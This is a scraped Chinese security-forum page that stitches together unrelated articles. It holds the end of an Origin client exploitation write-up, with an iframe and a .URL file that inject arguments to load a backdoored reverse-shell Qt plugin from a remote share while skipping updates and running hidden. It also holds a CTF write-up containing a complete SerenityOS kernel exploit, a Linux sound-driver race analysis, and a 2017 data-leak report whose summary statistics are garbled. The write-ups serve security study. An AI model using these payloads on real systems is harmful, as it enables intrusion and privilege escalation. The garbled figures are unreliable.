QPlatformInputContextPlugin | platforminputcontexts | Qt Platform Abstraction
QPlatformIntegrationPlugin | platforms | Qt Platform Abstraction
QPlatformThemePlugin | platformthemes | Qt Platform Abstraction
QGeoPositionInfoSourceFactory | position | Qt Positioning
QPlatformPrinterSupportPlugin | printsupport | Qt Print Support
QSGContextPlugin | scenegraph | Qt Quick
QScriptExtensionPlugin | script | Qt Script
QSensorGesturePluginInterface | sensorgestures | Qt Sensors
QSensorPluginInterface | sensors | Qt Sensors
QSqlDriverPlugin | sqldrivers | Qt SQL
QIconEnginePlugin | iconengines | Qt SVG
QAccessiblePlugin | accessible | Qt Widgets
QStylePlugin | styles | Qt Widgets
由于Origin使用的是`QtWebEngine`，并且需要处理图像文件（`jpg`、`gif`、`bmp`等），因此需要用到一些Qt插件。如果我们观察Origin的安装目录，可以看到其中有个`imageformats`目录，该目录中包含许多DLL文件。
由于我们知道Origin会用到这些DLL，因此我们可以选一个作为模板来生成我们的`reverse_tcp`。
在继续研究之前，我们首先需要确定的确可以通过`platformpluginpath`标志访问远程地址。
事实证明这的确可行。
### 创建后门插件
前面提到过，Origin会用到一些DLL，我们可以使用这些DLL作为模板来构建`msfvenom`
payload。使用DLL文件作为模板来创建`reverse_tcp`的命令如下图所示。Qt在加载插件方面非常挑剔，这也是我使用模板的原因所在。这里我可以剧透一下，我们只需要提供有效的`.qtmetad`
section即可。
现在我们已经创建了后门插件，接下来我们只需要创建一个Windows共享，以便对端远程下载该插件。
Windows共享必须包括上表中出现的某个目录，否则对方就无法正确加载DLL。由于我们选择的是`imageformats`，因此我们自然就会使用`imageformats`。
其中`imageformats`目录中保存着我们的后门插件`FILE1337.dll`。
### 完成Payload
显然一切尚未结束。我们当然可以声称自己“实现了”任意代码执行，但还没有搞定远程执行，因为我们无法让用户真正去启动我们构造的URI。现在轮到`iframe`上场了。
<iframe src='origin://?" -platformpluginpath \\NOTDANGEROUS "'>
我们可以选择一个地方托管该`iframe`，我们的目标只需要使用较老版本的浏览器打开该网页即可。如果我们使用Firefox来试一下，就可以看到进程以如下方式运行：
显然这会破坏我们的参数注入，这也是前面我提到过的一点。这种方法让我们更加难以利用Origin漏洞。
在已更新系统上，除非我们找到方法，在未对特殊字符转义的情况下启动目标进程，否则这个漏洞利用起来就非常鸡肋。
不论如何，我们先确保在IE浏览器上一切正常，才有信心继续研究。IE上我们的确可以正常操作，参考[此处视频](https://youtu.be/E9vCx9KsF3c)。
## 0x04 .URL文件
似乎现代浏览器会阻止攻击者将参数注入自定义URI中，因此我决定研究一下Windows快捷方式。有趣的是，快捷方式文件并不会对特殊字符进行转义，这本身就是一个问题。微软会认为这是一个问题吗？这很难说。如果他们认为这是一个问题，那么应该早就解决了。
正常情况下，`.url`文件内容如下所示：
[InternetShortcut]
URL=https://www.google.com
如果我们点击该文件，就会使用默认浏览器打开Google。然而，如果我们使用的是自定义URI，那么系统就会使用我们给定的URI。在这个基础上，由于系统没有过滤特殊字符，因此我们可以注入参数。这一点在攻击某些应用上非常有用，并不限于Origin。
在最新版的Windows 10上，我们可以使用如下`.URL`文件，将参数注入到Origin进程中。来试一下。
[InternetShortcut]
URL=origin://?" -reverse "
桌面上的Origin图标正是我们创建的快捷方式，看上去几乎与正常的`Origin.exe`快捷方式一模一样。
这种攻击方法显然需要涉及到一些社会工程学技巧。大多数浏览器并不会把`.URL`文件当成危险文件。比如，Edge浏览器会询问用户是否想要打开该文件，然后会扫描该文件，通过扫描后以我们注入的参数启动进程。
## 0x05 综合利用
走到这一步后，大家可能会有些问题。比如，如果Origin进程已经运行那该怎么办？这时如何才能注入参数？
这里就需要用到Origin内置的一些命令行选项了。我们可以滥用Origin接受的某些参数。先假设Origin已经运行，此时我们只需要在payload中简单加入如下参数：
origin://?" -Origin_MultipleInstances "
如果系统中已经有一个Origin进程，那么目标就会使用我们提供的参数再生成一个新的进程。
现在，假设用户好几个月前安装了Origin，并且有一段时间没有启动该程序。当Origin启动时，在执行其他操作前会先自动检查更新。这意味着如果Origin推出了新的patch，客户端在执行payload前会先更新。
如果我们向Origin提供如下参数，就可以跳过整个更新检查操作：
origin://?" /noUpdate "
我们还可以让Origin以后台方式运行，这样用户就不会注意到该进程。结合这些信息，再配合前面构造的远程插件，我们可以构造处一个非常有趣的利用方式：
origin://?" /StartClientMinimized /noUpdate -Origin_MultipleInstances "
## 0x06 其他信息
似乎Electronic
Arts对这个安全风险并不是很感冒，因此我决定公布另一个漏洞补丁（CVE-2019-11354）的[绕过方法](https://gist.github.com/zeropwn/c22892a2382de8a624430859121f8534)，请大家享用。我曾多次尝试与对方联系，但没有成功。这是我见过最差劲的厂商，没有之一，不要浪费我们的时间。他们承诺在游戏中给我们小钱钱，但连这一点都不会兑现……
## 0x07 参考资料
* <https://medium.com/0xcc/electrons-bug-shellexecute-to-blame-cacb433d0d62>
* <https://www.thezdi.com/blog/2019/4/3/loading-up-a-pair-of-qt-bugs-detailing-cve-2019-1636-and-cve-2019-6739>
* <https://proofofcalc.com/cve-2019-6453-mIRC>
* <https://doc.qt.io/qt-5/qguiapplication.html> | 社区文章 |
# CVE-2019-20172：36C3 wisdom中的SerenityOS内核提权
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## Description
SerenityOS是一套用于x86计算机的图形化类Unix操作系统。 SerenityOS
2019-12-30之前版本中的Kernel/VM/MemoryManager.cpp文件存在安全漏洞。本地攻击者可通过覆盖返回地址利用该漏洞获取权限。
该漏洞来自于hxp 36C3 CTF的wisdom这道题。
Description:
I really, really like this lovingly handcrafted OS. It would be a shame if something happened to it…
This is commit # fd06164fa0cee25ab69c701897de0a4bd03537d6 with the attached patch applied. Flag is in /dev/hdb.
Note that the setup of this task is perhaps a bit shaky: If you don’t get a shell prompt within a few seconds after solving the proof of work, something is wrong. Each connection has a time limit of 5 minutes and 30 seconds of CPU time, whichever happens first; you may contact us in case this causes problems for you.
Download:
wisdom-601e2adb9f44b61f.tar.xz (9.5 MiB)
Connection:
nc 88.198.156.191 2323
## Environment
编译过程参考[Serenity_Readme](https://github.com/SerenityOS/serenity/tree/fd06164fa0cee25ab69c701897de0a4bd03537d6)
编译环境
ubuntu 20.04
gcc 10.2.0
cmake 3.19.2
编译exp，在`Userland/`放exp源码
gedit ./Userland/test.cpp
先执行一遍`../Meta/refresh-serenity-qtcreator.sh`，提示`Serenety root not
set.`，设置`SERENITY_ROOT`
export SERENITY_ROOT=/home/sung3r/workspace/serenity/wisdom/serenity-fd06164fa0cee25ab69c701897de0a4bd03537d6
#再执行一遍
../Meta/refresh-serenity-qtcreator.sh
编译`Userland
make -C ../Userland/
编完后在主机开一个nc服务把exp传过去
nc -l -p 5555 < test
serenity里接收test
## Exploitable
### 0x01 info leak and kernel r/w
在`read`、`write`系统调用时，会先校验buffer指针是否合法，调`Process::validate_write`
`Process::validate_write`调`MemoryManager::validate_user_write`
`MemoryManager::validate_user_write`调`MemoryManager::region_from_vaddr`，参数传了进程句柄和虚拟地址，调用完成后再校验是否可写。
因为要exploit kernel，这里得使得`kernel_region_from_vaddr`这个分支通过，让kernel认为传入地址是在kernel
region
使得这一分支通过的地址要是`>=0xc0000000`，即传入`>=0xc0000000`的地址便可通过调`read`、`write`对kernel
region进行读写
`MemoryManager::initialize_paging()`显示kernel space位于`>0xc0000000`
// FIXME: We should move everything kernel-related above the 0xc0000000 virtual mark.
// Basic physical memory map:
// 0 -> 1 MB We're just leaving this alone for now.
// 1 -> 3 MB Kernel image.
// (last page before 2MB) Used by quickmap_page().
// 2 MB -> 4 MB kmalloc_eternal() space.
// 4 MB -> 7 MB kmalloc() space.
// 7 MB -> 8 MB Supervisor physical pages (available for allocation!)
// 8 MB -> MAX Userspace physical pages (available for allocation!)
// Basic virtual memory map:
// 0 -> 4 KB Null page (so nullptr dereferences crash!)
// 4 KB -> 8 MB Identity mapped.
// 8 MB -> 3 GB Available to userspace.
// 3GB -> 4 GB Kernel-only virtual address space (>0xc0000000)
借助`dmesg`命令可以leak出kernel stack
## 0x02 debug
编辑`./Kernel/run`，插入一条`-s \`打开debug端口`1234`
运行serenity，再打开gdb，attach上去
#导入kernel symbols
pwndbg> file kernel
#attach
pwndbg> target remote :1234
## 0x03 hijack point
系统调用最终会进到`syscall_asm_entry`，然后`call syscall_handler`来调用，调用完后返回到`add $0x4,
%esp`开始执行。kernel stack应该存在许多指向`add $0x4, %esp`的return address。
图中的`0x001470C7`便是存放在kernel stack的return address
gdb在`0x001470C7`下断点，继续continue后调试器能不断的断下，证明劫持点找对了
hijack的思路就是在kernel stack中找到`0x001470C7`这个返回地址，覆盖成读flag的payload
## 0x04 read flag
flag.txt是以`/dev/hdb`的形式挂载，但flag.txt并不是文件系统映像，需要调device相关接口函数read flag。
调`Device::get_device`去获得`/dev/hdb`设备
对应的`major number = 3`，`minor number = 1`
调`DiskDevice::read`去read flag
## Script
完整的exploit
#include <cstring>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/cdefs.h>
#include <sys/mman.h>
#include <sys/uio.h>
#include <unistd.h>
void* shared;
void* (*get_device)(int, int) = (void* (*)(int, int))(0x118728);
void* (*device_read)(void*, unsigned int, unsigned int, void*) = (void* (*)(void*, unsigned int, unsigned int, void*))(0x118a46);
#define RETURN_ADDR 0x001470c7
/*
* Finds base of the kernel stack assocaited with our child process
*/
unsigned long find_stackbase()
{
FILE* fp;
char* line = NULL;
char* end = NULL;
size_t len = 0;
ssize_t read;
unsigned long val = 0;
fp = fopen("/proc/dmesg", "r");
while ((read = getline(&line, &len, fp)) != -1) {
}
//puts(line);
line = strstr(line, "@") + 2;
end = strstr(line, " ");
*end = 0;
fclose(fp);
//strtoul is broken so we chop off the highest nibble and add it back in after
val = strtoul(line + 3, NULL, 16);
val |= 0xC0000000;
//printf("%lu\n", val);
return val;
}
/*
* Finds the address on the stack that stores the return address we want to overwrite.
*/
unsigned long find_hijack(unsigned long stack_base)
{
int p[2]; //p[0]:out; p[1]:in
char buf[0x1000] = {};
unsigned long addr;
pipe(p);
addr = stack_base;
for (int i = 0; i < 0x10000; i += 0x1000) {
write(p[1], (void*)(addr + i), 0x1000);
read(p[0], buf, 0x1000);
for (int j = 0; j < 0x1000 - 0x4; j += 4) {
uint32_t ret = *(uint32_t*)(buf + j);
if (ret == RETURN_ADDR) {
return addr + i + j;
}
}
}
return 0;
}
unsigned long sleep_child()
{
sleep(2);
printf("never getting here!\n");
exit(0);
}
void payload()
{
void* dev = get_device(3, 1);
device_read(dev, 0, 512, shared);
// crash the child process cause why not
*(unsigned long*)0x41414141 = 0x31313131;
}
int main(int, char**)
{
unsigned long stackbase = 0;
unsigned long hijack = 0;
unsigned long payload_ptr;
int p[2];
shared = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_ANON | MAP_SHARED, -1, 0);
printf("mmap addr: %p\n", shared);
if (fork() == 0) {
sleep_child();
}
sleep(1);
stackbase = find_stackbase();
printf("stackbase at %lx\n", stackbase);
hijack = find_hijack(stackbase);
printf("hijack at %lx\n", hijack);
// overwrite return address
payload_ptr = (unsigned long)&payload;
pipe(p);
write(p[1], &payload_ptr, 4);
read(p[0], (void *)hijack, 4);
sleep(2);
printf("flag is %s\n", (char *)shared);
return 1;
} | 社区文章 |
作者：[启明星辰ADLab](https://mp.weixin.qq.com/s/-WE7fW9WeS6TAWCd0LxBrQ "启明星辰ADLab")
#### 一、前言
近日，启明星辰ADLab在对 Linux 内核进行源码审计时发现，Linux 内核的音频子系统存在一个条件竞争漏洞
CVE-2017-15265（CNVD-2017-30251、CNNVD-201710-230），条件竞争导致了 use-after-free
漏洞，可以用来进行本地提权。由于绝大部分 Linux
发行版采用了这个子系统，所以内核版本低于4.14-rc5的系统均会受到此漏洞影响，其影响范围十分广泛。启明星辰ADLab发现此漏洞后，第一时间报告给了
Linux 官方，Linux 内核创始人 Linus Torvalds 亲自进行了回复。目前，Linux
官方已给出修复方案，提醒广大用户及时采取修复措施。本文我们将详细分析此漏洞的细节及发现过程。
#### 二、攻击面和攻击向量
Linux 整体的框架图如下：
普通用户运行在用户空间，用户空间的权限有限，如果需要其他操作就需要通过一些接口进入内核空间。内核空间权限比较大，如果内核空间的代码有漏洞可进行代码执行的话，就会造成普通用户以内核权限执行代码进行提权。用户空间进入内核空间的接口有很多，如
syscall、proc、sysfs、netlink、mmap、信号、驱动文件等等，这里音频子系统是通过驱动文件的方式与用户空间进行交互的。
Linux 驱动程序一般会在`/dev`目录下创建一些文件，用户可以打开这些文件，通过 ioctl
函数与内核进行交互。其中，音频子系统创建的文件在`/dev/snd`目录下，如下图：
Seq 文件是此漏洞关注的目标。进入内核源码中，查看 seq 文件的 ioctl 函数，发现其有很多操作：
可以看出，这里有很多相反的操作，例如创建端口（`snd_seq_ioctl_create_port`）和删除端口（`snd_seq_ioctl_delete_port`），创建队列（`snd_seq_ioctl_create_queue`）和删除队列（`snd_seq_ioctl_delete_queue`）等。熟悉浏览器漏洞的研究人员应该知道，相反的操作可能会引发
UAF 漏洞，所以我们重点从此处入手展开分析。
#### 三、漏洞分析
通过对攻击面和攻击向量的分析，我们针对这几个相反的操作写了一个 fuzz，让其中一个线程不停地创建端口，另一个线程不停地删除端口。fuzz
后发现果然存在有漏洞，漏洞出现在`snd_seq_ioctl_create_port`函数中，下图是 Linux 捕获到的 crash 信息：
对 crash 信息进行详细的分析后发现，这是一个 UAF 漏洞。漏洞函数`snd_seq_ioctl_create_port`如下：
crash信息报告的是`snd_seq_ioctl_create_port()`函数底部的这一句：`snd_seq_set_port_info(port,&info);`
。
漏洞触发的具体过程如下：
1. 在第一个线程中，`snd_seq_ioctl_create_port()` 调用`snd_seq_create_port()`创建了 port 这个结构体，然后切换到第二个线程；
2. 第二个线程调用`snd_seq_ioctl_delete_port()`释放了第一个线程创建的 port 后，再切换回第一个线程；
3. 由于 port 没有锁也没有引用计数，所以第一个线程中的`snd_seq_ioctl_create_port()`继续使用了第二个线程中已释放的 port，这样就造成了 use-after-free 漏洞。
#### 四、漏洞修复
分析清楚漏洞的成因之后，漏洞的修复方案也就比较清晰，其可行的修复方案有：
1. 为port结构体增加引用计数。
2. 正确使用锁。
目前，Linux 官方已给出修复方案，该方案采用了为 port 结构体增加引用计数的方式，参考链接为：<http://mailman.alsa-project.org/pipermail/alsa-devel/2017-October/126292.html>
#### 五、总结
Linux 内核漏洞的影响范围十分广泛，几乎所有的 Linux 发行版都会受到影响。另外，条件竞争的漏洞也比较难通过传统的 fuzz
去发现，而且程序员也很难注意到这样的细节，所以条件竞争漏洞仍大量存在，大家应引起足够的重视。最后，启明星辰ADLab再次提醒广大用户及时进行漏洞修复，以免造成不必要的损失。
* * *
**启明星辰积极防御实验室（ADLab）**
ADLab成立于1999年，是中国安全行业最早成立的攻防技术研究实验室之一，微软MAPP计划核心成员。截止目前，ADLab通过CVE发布Windows、Linux、Unix等操作系统安全或软件漏洞近400个，持续保持国际网络安全领域一流水准。实验室研究方向涵盖操作系统与应用系统安全研究、移动智能终端安全研究、物联网智能设备安全研究、Web安全研究、工控系统安全研究、云安全研究。研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。
* * * | 社区文章 |
# 2017政企机构信息泄露形势分析报告
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 摘 要
信息泄露，是政企机构面临的重要安全风险之一。2017年以来，国内外均有大量重大的信息泄露事件被媒体曝光，泄露信息少则数十万条，多则数亿条，信息泄露的危害也引起了整个社会的高度关注。信息泄露已经成为安全问题的风险源头。
### 网站漏洞泄露信息风险分析
2017年1月至10月，补天平台共收录可导致信息泄露的网站漏洞251个，较2016年的359个下降了1%，约占补天平台全年漏洞收录总数（16427个）的1.5%，涉及网站150个，共可能泄露信息51.2亿条。
从危险等级看，高危漏洞数量占6%，中危占比为2.4%。
从漏洞的技术类型看，命令执行（占比为7%）、代码执行（14.7%）和SQL注入（8.8%）占比最高，三者之和占全部信息泄露漏洞的八成以上。
在251个可导致信息泄露的网站漏洞中，共有24个网站漏洞可能泄露的信息在5000万条以上，其中还有11个漏洞可能泄露的信息数量在1亿条以上。
补天平台收录的信息泄露相关漏洞中，有3%的相关漏洞泄露的属于个人信息，14.7%相关漏洞泄露的属于机构机密信息。
在251个可能泄露信息的网站漏洞中：约7%的网站漏洞可能泄露用户的实名信息，可能泄露实名信息数量多达42.9亿条；约14.7%的网站漏洞可能泄露机构机密信息，可能泄露机构机密信息数量多达5.6亿条。
在251个补天平台收录的信息泄露漏洞中，备案的网站漏洞有为236个，占比0%。在已备案的网站中，被报漏洞的企业网站数量是最多的，占比为74.2%。
从可泄露的信息数量来看，不同备案类型网站漏洞可能泄露信息数量的差异较大。企业网站漏洞可能泄露的信息数量最多，分别为9亿条，约为全年可能泄露信息总量的85.8%。另外，未备案网站的漏洞可能泄露的信息数量也约占全年泄露总量的6.9%。
金融网站、政府机构及事业单位网站、通信运营商网站被报告的可泄露信息的漏洞最多，占比分别为3%、26.7%、24.7%，三大行业网站的漏洞报告数量约占所有网站被报告漏洞数量的79.7%。
从可能泄露信息数量来看，金融行业（1亿条）、通信运营商（18.9亿条）网站可能泄露的信息数量也是最多的，远高于其他行业。
### 国内、外机构重大信息泄露事件分析
政府及事业单位的重大信息泄露事件：2017年，国内发生了一系列的政府机构泄露信息事件。让人惊讶的是，这些事件大多是由于政府网站在政务公开环节，不必要的公开了相关人员完整的、详细的身份信息而造成的，被不当公开的信息包括完整的身份证号码，联系电话等信息。
国外军事机构重大信息泄露事件：军事机构的内部信息无疑是最为敏感的机密信息。在2017年媒体披露的军事机构重大泄密事件中，美国上榜次数最多。CIA、NSA、美国国防部，美国陆、海、空军等都未能幸免。从国外军事机构机密信息泄露的原因和结果来看，主要有以下几个明显的特点：内鬼问题；供应链安全问题；网络武器成为攻击目标；低级运维错误仍普遍存在。
国外政府机构重大信息泄露事件：2017年媒体公布的国外政府机构重大信息泄露事件中，美国和印度的上榜次数最多。国外政府机构的信息泄露事件主要表现出以下几个明显特点：政府机构信息泄露的重要原因在于网络服务商或云服务商的管理疏失或安全漏洞；超大规模的信息泄露事件频发，泄露信息数量动辄上千万；政府机构泄露的公民个人信息往往是综合性信息，包括姓名、身份ID（如身份证号码）、家庭住址、家庭关系、工作情况、电话号码和电子邮箱等。
国外金融行业重大信息泄露事件：国外金融机构的信息泄露事件主要表现为以下几个特点值得关注：信息泄露伴随财产损失；误操作也可能引起重大损失；内鬼问题和技术窃密值得关注。
交通行业重大信息泄露事件：交通行业发生重大信息泄露事件的机构主要集中在民航和汽车领域。泄密原因多种多样，其中也有一些高级机密信息泄露的事件发生，如英国女王安保路线这样高度机密的信息被泄露等。
国外互联网企业重大信息泄露事件：从2017年互联网企业重大信息泄露事件来看，主要表现出以下几个特点值得关注：帐号密码仍然是互联网企业信息泄露的主要形式；技术资料泄密事件多发，并可能引发难以估计的损失；互联网企业的安全漏洞或管理疏失，往往会殃及大量使用这些互联网企业服务的企业和个人；物联网服务可能引发的信息泄露成为现实。
医疗卫生机构重大信息泄露事件：医疗卫生行业的信息泄露一般可以分为病患信息泄露和医院信息泄露两个方面。特别让人担忧的是，病患信息属于极其敏感的个人信息，知名人士病患信息的泄露甚至可能引发社会不安。
传媒机构重大信息泄露事件：2017年国外传媒机构重大信息泄露事件大多与黑客攻击有关，也有个别情况是由于运维不当造成的。媒体机构泄露信息的内容也是多种多样，包括用户信息、商业机密、尚未发布的内容资源。
旅行、酒店及餐饮业的重大信息泄露事件：2017年，针对旅行社、酒店及餐饮行业的网络攻击也频繁发生。主要有以下几个特点：针对终端刷卡设备，特别是POS机的恶意程序攻击，已经成为一种盗取信用卡信息、进而盗刷用户信用卡的主要手段之一；相关技术手段已经十分成熟；旅行、酒店及餐饮等机构普遍缺乏必要的网络安全管理措施，服务器系统极易遭到入侵和破坏；相比于其他行业机构的信息泄露，旅行、酒店及餐饮行业的信息泄露包括大量的用户生活、出行等隐私信息。
关键词： 补天平台、网站漏洞、信息泄露
## 研究背景
信息泄露，是政企机构面临的重要安全风险之一。2017年以来，国内外均有大量重大的信息泄露事件被媒体曝光，泄露信息少则数十万条，多则数亿条，信息泄露的危害也引起了整个社会的高度关注。信息泄露已经成为安全问题的风险源头。
造成机构信息泄露的主要原因有两类，一是黑客入侵、二是内鬼出卖。而从机构泄露的信息类型来看，主要也分为两类，个人信息和机密信息，后者是指政企机构内部除个人信息之外的商业机密、技术机密及其他机密信息。
在大数据产业迅猛发展的浪潮中，我国个人信息安全和隐私保护面临着严峻形势。个人信息作为数据信息的核心内容，面临着采集、存储、加工、各环节的使用规范化问题，与个人隐私息息相关。目前，一些行业个人信息泄露事件频发，不法分子甚至还会利用已经泄露的海量数据信息进行关联分析，甚至做出客户画像，精准定位用户身份后，实施精准诈骗。
其他类型的机密信息泄露事件也十分让人担忧。例如，微软1.2GB的部分Windows
10源代码泄露事件，不仅仅会使微软公司本身面临巨大的商业损失，同时也会使Windows用户面临更大的安全风险，因为攻击者完全有可能通过泄露出来的源代码，发现Wndows更多的安全漏洞，并对这些漏洞进行恶意利用。
为了更加全面的分析2017年以来，国内外政企机构的信息泄露安全风险及由此引发的其他安全问题，本报告将从网站的信息泄露风险，及国内外重大信息泄露事件这两个方面，来系统性的分析政企机构信息泄露的风险及形势。
## 网站漏洞泄露信息风险分析
由于网站存在安全漏洞所导致信息泄露，政企机构信息泄露的主要原因之一。本章将主要以补天平台2017年1月至10月收录的可导致信息泄露的漏洞为基础，对2017年网站泄露信息的严峻形势进行综合分析。
### 网站漏洞可泄露信息形势综述
2017年1月至10月，补天平台共收录可导致信息泄露的网站漏洞251个，较2016年的359个下降了30.1%，约占补天平台全年漏洞收录总数（16427个）的1.5%，涉及网站150个，共可能泄露信息51.2亿条。
统计显示，251个可导致信息泄露的网站漏洞，总计可能泄露信息为51.1亿条，比2016年的60.5亿条下降了15.5%；比2015年的55.3亿条下降了7.6%。平均每个漏洞可导致2035.9万条个人信息泄露，单个漏洞的危害大大增加。
从危险等级看，2017年可能泄露信息的漏洞中，高危漏洞数量占97.6%，中危占比为2.4%。与高危漏洞相比，中危和低危漏洞的利用难度相对较小。
从漏洞的技术类型看，2017年可能泄露信息的漏洞中，命令执行（占比为63.7%）、代码执行（14.7%）和SQL注入（8.8%）占比最高，三者之和占全部信息泄露漏洞的八成以上。下图给出了相关漏洞的技术类型详细分布情况。
2017年1至10月，补天平台收录的可导致信息泄露的网站漏洞，具体分布情况如下图 5个，1月份曝出的可能泄露的信息数量达到最高峰，为8.0亿条信息。
统计显示，在251个可导致信息泄露的网站漏洞中，共有24个网站漏洞可能泄露的信息在5000万条以上，其中还有11个漏洞可能泄露的信息数量在1亿条以上。下图给出了2017年网站漏洞可能泄露信息的规模分析。
### 网站漏洞可泄露信息类型分析
360威胁情报中心的监测显示，补天平台收录的信息泄露相关漏洞中，有85.3%的相关漏洞泄露的属于个人信息，14.7%相关漏洞泄露的属于机构机密信息。
按照数据的敏感度，本报告将补天平台收录的漏洞可能泄露的个信息数据划分为四个基本类型：
1）实名信息：如姓名、电话、身份证、银行卡、家庭住址等信息。
2）保单信息：保单号、保险信息、车险信息等。
3）帐号密码：如各类网站登录帐号密码、游戏帐号密码、电子邮箱帐号密码等。
4）行为记录：如聊天记录，购物记录、差旅信息等。
而相关漏洞可能泄露的机构机密信息中，根据潜在风险程度，依次主要包括以下几个大类：
* 财务信息
* 合同信息
* 企业资产
* 公司注册信息
统计显示，在251个可能泄露信息的网站漏洞中：约85.7%的网站漏洞可能泄露用户的实名信息，可能泄露实名信息数量多达42.9亿条；约10.8%的网站漏洞可能泄露用户的保单信息，可能泄露保单信息数量多达4.5亿条；约14.7%的网站漏洞可能泄露机构机密信息，可能泄露机构机密信息数量多达5.6亿条，具体如下图所示。
需要特别说明的是，由于网站数据形式的多样性，一个网站漏洞可能泄露的信息的类型未必是单一的，约有1.6%漏洞会同时泄露上述3种不同类型的信息，约10.4%的漏洞会同时泄露上述两种不同类型的信息。
### 可泄露信息网站的行业分析
根据工信部网站查询结果，一般网站备案的类型分为：军队、政府机构、事业单位、社会团体、企业、个人等类型。在251个补天平台收录的信息泄露漏洞中，其中有备案的网站漏洞有为236个，占比94.0%。
在已备案的网站中，被报漏洞的企业网站数量是最多的，占比为69.7%，其次为政府机构网站，占比为19.5%，事业单位网站占比为4.0%。从下图可以看出，企业和政府机构网站存在的信息泄露漏洞的情况明显多于其他。
从可泄露的信息数量来看，不同备案类型网站漏洞可能泄露信息数量的差异较大。从下图可以看出，企业网站漏洞可能泄露的信息数量最多，约为43.9亿条，约为全年可能泄露信息总量的85.8%。另外，未备案，网站的漏洞可能泄露的信息数量也约占全年泄露总量的6.9%。
统计显示，金融网站（金融行业的相关漏洞主要集中在中小保险机构及中小信贷平台，而银行等大型金融机构的安全性相对较高，问题较少）、政府机构及事业单位网站、通信运营商（含虚拟运营商）网站被报告的可泄露信息的漏洞最多，占比分别为28.3%、26.7%、24.7%，三大行业网站的漏洞报告数量约占所有网站被报告漏洞数量的79.7%。
从可能泄露信息数量来看，金融行业（22.1亿条）、通信运营商（18.9亿条）网站可能泄露的信息数量也是最多的，远高于其他行业。
### 网站信息泄露的原因与趋势
综合补天平台过去三年来的监测与分析，一个明显的趋势就是可造成重大信息泄露的漏洞数量每年都在大幅下降，但同时，单个漏洞可能造成的信息泄露数量却在大幅增加。这一方面反应出国内网站在信息保护方面的建设在不断加强，整体形式明显好转；另一方面也反应出，信息泄露的风险正在逐步向少数领域集中，而且大型民用服务系统一旦出现安全问题，往往会给整个社会带来巨大的损失。
实际上，信息泄露问题是政企机构数字化转型过程中普遍存在的安全问题。数字化转型较早，信息系统网络化程度相对较高的行业和领域，被暴露出来的问题也相对较多。如金融、通信、新兴互联网等领域。但随着数字化转型的逐渐深入以及网络安全建设水平的不断提高，这些行业或领域在度过信息泄露的高峰期后，安全问题会逐渐缓和。但某些数字化转型相对较晚的行业或领域，如某些大型政府机构、制造业，以及某些传统实体经济，现在暴露出来的问题就相对较少，但在未来不可避免的数字化转型过程中，也必然会逐渐暴露出越来越多的安全问题，面临越来越大的信息泄露风险。
从另外一个角度来看，在消费互联网时代，聚集大量个人服务的信息系统，往往容易成为信息泄露的高发点。而在未来，随着智慧城市的建设，产业互联网的出现，传统的实体经济的互联网化，政务云和互联网+的普及，政府机构和实体经济将有可能面临更大的信息泄露风险，成为信息泄露新的高发领域。
## 国内机构重大信息泄露事件分析
2017年，国内外政企机构均发生了大量的重大信息泄露事件。本次报告通过对国内外媒体公开信息整理，对2017年以来，国内外的相关事件进行了总结和简要分析，供读者参考。
本章主要介绍2017年媒体报道的国内政企机构发生的一些重大信息泄露事件。总体来看，互联网企业被曝出的信息泄露事件最多，影响也最大。其次是政府和事业单位网站。此外，金融、医疗等行业也有相关的信息泄露事件被曝出。
### 政府及事业单位的重大信息泄露事件
#### （一）问题综述
2017年，国内发生了一系列的政府机构泄露信息事件。让人惊讶的是，这些事件大多是由于政府网站在政务公开环节，不必要的公开了相关人员完整的、详细的身份信息而造成的，被不当公开的信息包括完整的身份证号码，联系电话等信息。
这些信息泄露事件的发生，主要是由于有关部门的相关负责人缺乏最基本的网络安全常识，缺乏最基本的公民信息保护意识而引发的“完全不必要的”网络安全事件，而与任何网络攻击技术或网站安全漏洞无关。这也不得不让我们对很多中小城市的网络安全建设水平感到担忧。我们有理由认为，类似的事情在全国各地可能非常的普遍，媒体报道出来的相关情况可能也只是冰山一角。
同时，关于政务公开、重大事件公示等必要的行政措施，与公民个人信息保护之间可能存在的矛盾问题也值得我们进行更深入的思考。表面上看，我们似乎总是可以找到一个平衡点来平衡公开公平与隐私保护之间的关系。但实际上，此类问题涉及法律法规、技术手段、公众认知、公职人员办事能力等多方面的复杂因素，很难在短时间内得到全面有效的解决。
#### （二）安徽江西等地部分政府网站泄露公民隐私信息
2017年8月，铜陵市铜官区阳光社区服务中心，在铜陵市政府信息公开网发布了《阳光社区2017孕前优生健康检查人员名单》。该名单公布了40对夫妻的姓名及检查日期，其中77人的身份证号码完整呈现，名单仅对现居住地地址做了模糊处理。而在铜官区翠湖社区发布的《2017年孕前优生检查参检人员名单》中，也完整披露了23对夫妻的姓名及检查日期。
2017年10月10日，江西省宜春市财政局在宜春市政府信息公开网（xxgk.ycf.gov.cn）发布的《关于公布2017年会计专业技术初级资格无纸化考试宜春考区合格人员名单的通知》，也公布了相关人员详细的个人身份证号码的人员名单，910名合格考生的证书编号、准考证号、身份证号码、姓名等信息予以公开。
2017年10月31日，江西省景德镇市政府信息公开网（xxgk.jdz.gov.cn）曾发布了《第二批大学生一次性创业补贴公示》。其中，可供公众下载的文件公布了学生姓名、完整身份证号以及联系电话等。此外，景德镇市人社局官网也可获取上述公示信息。
#### （三）重庆九龙坡区教委官网泄露上千老教师个人信息
2017年11月，据澎湃新闻报道，重庆市九龙坡区教育委员会官方网站同样存在多份文件泄露教师、学生个人信息的情况，当地相关部门迅速进行了整改。
九龙坡区学生资助管理中心2015年8月21日在九龙坡区教委官网（http://www.jlpjw.gov.cn）发布《九龙坡区2015年家庭经济困难大学新生入学资助项目资助学生名单公示》。在该公开文件中，家庭经济困难大学新生的姓名、高中毕业学校、身份证号以及录取院校等信息均被公布，共计65人。
九龙坡区教委人事科2016年7月4日在九龙坡区教委官网发布了《重庆市九龙坡区教育委员会关于乡村学校从教30年教师名单公示》。这份公开文件中，九龙坡区乡村学校从教30年、20年教师的工作单位、姓名、身份证号码、参加工作时间、专业技术职务以及从业状态被完整公布，此外，这份名单人数达1655人。
